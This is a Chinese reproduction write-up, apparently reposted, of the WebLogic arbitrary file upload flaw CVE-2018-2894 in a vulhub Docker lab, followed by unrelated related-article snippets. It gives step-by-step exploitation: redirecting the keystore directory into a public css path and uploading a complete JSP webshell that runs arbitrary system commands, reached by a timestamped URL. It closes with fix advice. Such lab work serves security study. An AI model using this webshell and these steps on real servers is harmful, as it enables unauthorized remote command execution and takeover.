Weblogic 任意文件上传漏洞(CVE-2018-2894)复现

news2024/11/20 11:27:00

目录

weblogic 

漏洞环境准备

漏洞复现

修复建议


weblogic 

WebLogic美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用数据库应用Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

CVE-2018-2894 该漏洞属于一个远程上传漏洞,通过更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用"添加Keystore设置"的功能,可上传恶意的JSP脚本文件,造成攻击。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

受影响的版本weblogic 10.3.6.0weblogic 12.1.3.0weblogic 12.2.1.2weblogic 12.2.1.3

漏洞环境准备

下载好vulhub

 进入目录启动 weblogic 12.2.1.3

docker-compose up -d

查看端口情况

docker-compose  ps

执行docker-compose logs | grep password可查看管理员密码

管理员用户名为weblogic

密码为B6eYMuo9

环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。使用刚刚获得的账号密码登录

登录后台页面,点击base_domain的配置,在高级中开启启用 Web 服务测试页选项:记得保存设置!!!要不然利用不到webshell

 

接下来访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

漏洞复现

写一个jsp文件上传

这里我们上传一个可以利用的webshell  

<%@ page import="java.util.*,java.io.*"%>

<%

%>

<HTML><BODY>

Commands with JSP

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter("cmd") != null) {

    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;

    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){

        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));

    }

 else{

        p = Runtime.getRuntime().exec(request.getParameter("cmd"));

    }

    OutputStream os = p.getOutputStream();

    InputStream in = p.getInputStream();

    DataInputStream dis = new DataInputStream(in);

    String disr = dis.readLine();

    while ( disr != null ) {

    out.println(disr);

    disr = dis.readLine();

    }

}

%>

</pre>

</BODY></HTML>

通过抓包我们可以发现返回了时间戳(我上传了两个jsp返回两个时间戳)

然后访问

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

即可执行webshell

例如返回时间戳为1673447062823  上传jsp文件名为  4.jsp

访问

http://192.168.10.142:7001/ws_utc/css/config/keystore/1673447062823_4.jsp

实验完成后记得关闭weblogic

docker-compose  down

修复建议

  1. 升级到官方的最新版本;
  2. config.do,begin.do页面强制登录后才授权后访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/159344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Healthcare靶机总结

Healthcare靶机渗透总结 靶机下载地址: https://download.vulnhub.com/healthcare/Healthcare.ova 打开靶机,使用nmap扫描出靶机的ip和所有开放的端口 可以看到,靶机开放了21端口和80端口 21端口为ftp的端口,一般遇到这种,就可以考虑ftp的匿名登录,我们可以试一下 用户名anony…

【总结】华为、H3C、锐捷三家交换机配置命令详解

一直以来&#xff0c;对于华为、H3C、锐捷交换机的命令配置&#xff0c;不断的有朋友留言&#xff0c;三家交换机的配置命令容易弄混&#xff0c;经常在实际项目配置中出错&#xff0c;因此&#xff0c;本期我们将来介绍这三家交换机的基础配置命令&#xff0c;大家可以分别来看…

动手学区块链学习笔记(一):加密算法介绍

引言 本文根据实验楼以及自己查询到的一些资料&#xff08;文末给出&#xff09;&#xff0c;模拟了一下区块链从诞生到交易的整个过程&#xff0c;也算是弥补了一下之前区块链的一些缺失知识。 哈希加密原理介绍 什么是比特币&#xff1f; 比特币是一种加密货币&#xff0c…

【Python百日进阶-数据分析】Day223 - plotly瀑布图go.Waterfall()

文章目录一、语法二、参数三、返回值四、实例4.1 简单瀑布图4.2 多类别瀑布图4.3 设置标记大小和颜色4.4 水平瀑布图4.5 Dash中的应用一、语法 绘制瀑布轨迹&#xff0c;这是一种有用的图表&#xff0c;可以在条形图中显示各种元素&#xff08;正或负&#xff09;的贡献。y如果…

一文读懂mybatis连接池原理

本文需要配合代码demo一起观看更佳&#xff0c;源码地址。 本源码中对 mybatis代码做了详尽的注释。对mybatis源码进行了详尽的注释&#xff0c;且可以对项目进行install&#xff0c;然后在ron-man-mybatis1项目中 src/main/java/iron/man/lyf/ironmanmybatis1/run_test/Mybat…

亚马逊云科技启示录:创新作帆,云计算的征途是汪洋大海

开篇&#xff1a;创新是亚马逊云科技发展的最持久驱动力云计算&#xff0c;新世纪以来最伟大的技术进步之一&#xff0c;从2006年 Amazon Web Service 初创时的小试牛刀&#xff0c;到如今成长为一个巨大的行业和生态&#xff0c;已经走过16年的风雨历程。Java之父詹姆斯高斯林…

关于子查询

1、什么是子查询&#xff1a; select语句中嵌套select语句&#xff0c;被嵌套的select语句称为子查询。 2、子查询都可以出现在什么地方&#xff1a; select ..(select) #子查询可以出在select后面 from ..(select) #子查询可以出在from后面 where ..(select) …

操作系统考研复习(详细指导)--持续更新中

第一章操作系统的概念(定义)功能和目标操作系统的概念(定义)--什么是操作系统操作系统是指控制和管理整个计算机系统的硬件和软件资源(操作系统是系统资源的管理者)&#xff0c;并合理地组织调度计算机的工作和资源的分配&#xff1b;以提供给用户和其他软件方便的接口和环境 &…

【Rtklib入门指南】1. Rtklib下载及编译

写在前面其实前几年还在校的时候出过一个还不太成熟的教程&#xff0c;回头看的时候发现有诸多不够成熟的地方&#xff0c;如今的工作自由时间相对较多&#xff0c;因此萌生了重新梳理&#xff0c;提升博客质量的想法。因此&#xff0c;就有了这个新的系列。对于大多数GNSS的从…

JMeter - 下载安装教程

目录1. JMeter介绍2. JMeter下载3. JMeter目录解析4. Windows和macOS下安装启动5. JMeter切换语言为中文6. Linux下安装启动1. JMeter介绍 JMeter是目前行业内用的比较多的一个开源性能测试工具&#xff0c;由Java语言编写&#xff0c;要依赖Java环境来运行&#xff08;需要提…

vtk.js中引入.module.css文件

我们知道css modules指的是所有的类名和动画名称默认都有各自作用域的CSS文件&#xff0c;是在构建步骤中对CSS类名和选择器限定作用域的一种方式&#xff08;类似于命名空间&#xff09;。通过CSS Modules可以保证单个组件的所有样式集中在同一个地方、只应用于该组件。它可以…

React记录

UI组件库&#xff1a;https://mobile.ant.design/zh/ 1、‘idname’ is not defined no-undef 情景&#xff1a;给属性绑定属性值时&#xff0c;明明设置了变量&#xff0c;使用语法也没有错误&#xff0c;但是提示却说是该变量未定义。 原因&#xff1a;变量的值不是字符串类…

SpringCloud学习笔记 - 服务熔断降级 - Sentinel

1. sentinel简介 sentinel官方文档&#xff1a;https://sentinelguard.io/zh-cn/docs/introduction.html 随着微服务的流行&#xff0c;服务和服务之间的稳定性变得越来越重要。Sentinel 是面向分布式、多语言异构化服务架构的流量治理组件&#xff0c;主要以流量为切入点&…

【Redis】缓存击穿问题及其解决方案

【Redis】缓存击穿问题及其解决方案 文章目录【Redis】缓存击穿问题及其解决方案1. 缓存击穿概念2. 解决方案2.1 互斥锁2.1.1 互斥锁的优缺点2.1.2 互斥锁的代码实现2.2 逻辑过期2.2.1 逻辑过期的优缺点2.2.2 逻辑过期的代码实现1. 缓存击穿概念 缓存击穿&#xff1a;缓存击穿…

13个有趣的Python高级脚本,建议收藏

上一篇文章&#xff1a;整理了上千个 Python 工具库&#xff0c;涵盖24个大方向 没想到火了&#xff0c;喜欢除了收藏外&#xff0c;记得点赞。 每天我们都会面临许多需要高级编码的编程挑战。你不能用简单的 Python 基本语法来解决这些问题。 在本文中&#xff0c;我将分享…

Python针对列表进行去重、排序、大小写转换

首先我们要进行的就是列表去重 Python针对列表进行去重、排序、大小写转换1. 针对列表进行去重第一种方法是用for循环第二种方法就是列式推导法第三种方法就是set第四种方法就是用字典去重2.进行大小写转换大写转小写使用lower进行小写转换列式推导法swapcase()将字符串内的大写…

【windows环境使用gcc完美编译C/C++】

windows环境使用gcc完美编译C/C前言安装最新版的msys2安装mingw版的gcc前言 在windows使用gcc编译c&#xff0c;很多文章会使用Cygwin或者msys来安装gcc&#xff0c;并编译本地c&#xff0c;但编译好的.exe执行文件在其他电脑上会报找不到cygwin1.dll或找不到msys-2.0.dll的错误…

基于JavaSpringboot+vue国风汉服文化交流宣传系统

博主介绍&#xff1a;✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末底部获取联系&#x1f345; 精彩专栏推荐订阅收藏&#x1f447;…

ArcgisPro3.0及3.0.1及3.0.2安装教程

一、获取&#xff1a; https://www.xsoftnet.com/share/a0XohtwU8Zz.html二、产品介绍&#xff1a;ArcgisPro3.0-3.0.1中文安装包下载及安装教程 ArcGisPro3.x安装教程 一、安装包结构介绍&#xff1a;可能你下载的安装包目录结构有所不同但是核心文件是一样的。 安装顺序&…

【SpringCloud07】SpringCloud 整合Zookeeper注册中心

1.Zookeeper注册中心 zookeeper是一个分布式协调工具&#xff0c;可以实现注册中心功能关闭Linux服务器防火墙启动zookeeper服务器zookeeper服务器取代Eureka服务器&#xff0c;zookeeper作为服务注册中心 2.服务提供者 1.新建cloud-provider-payment8004 2.POM <?xm…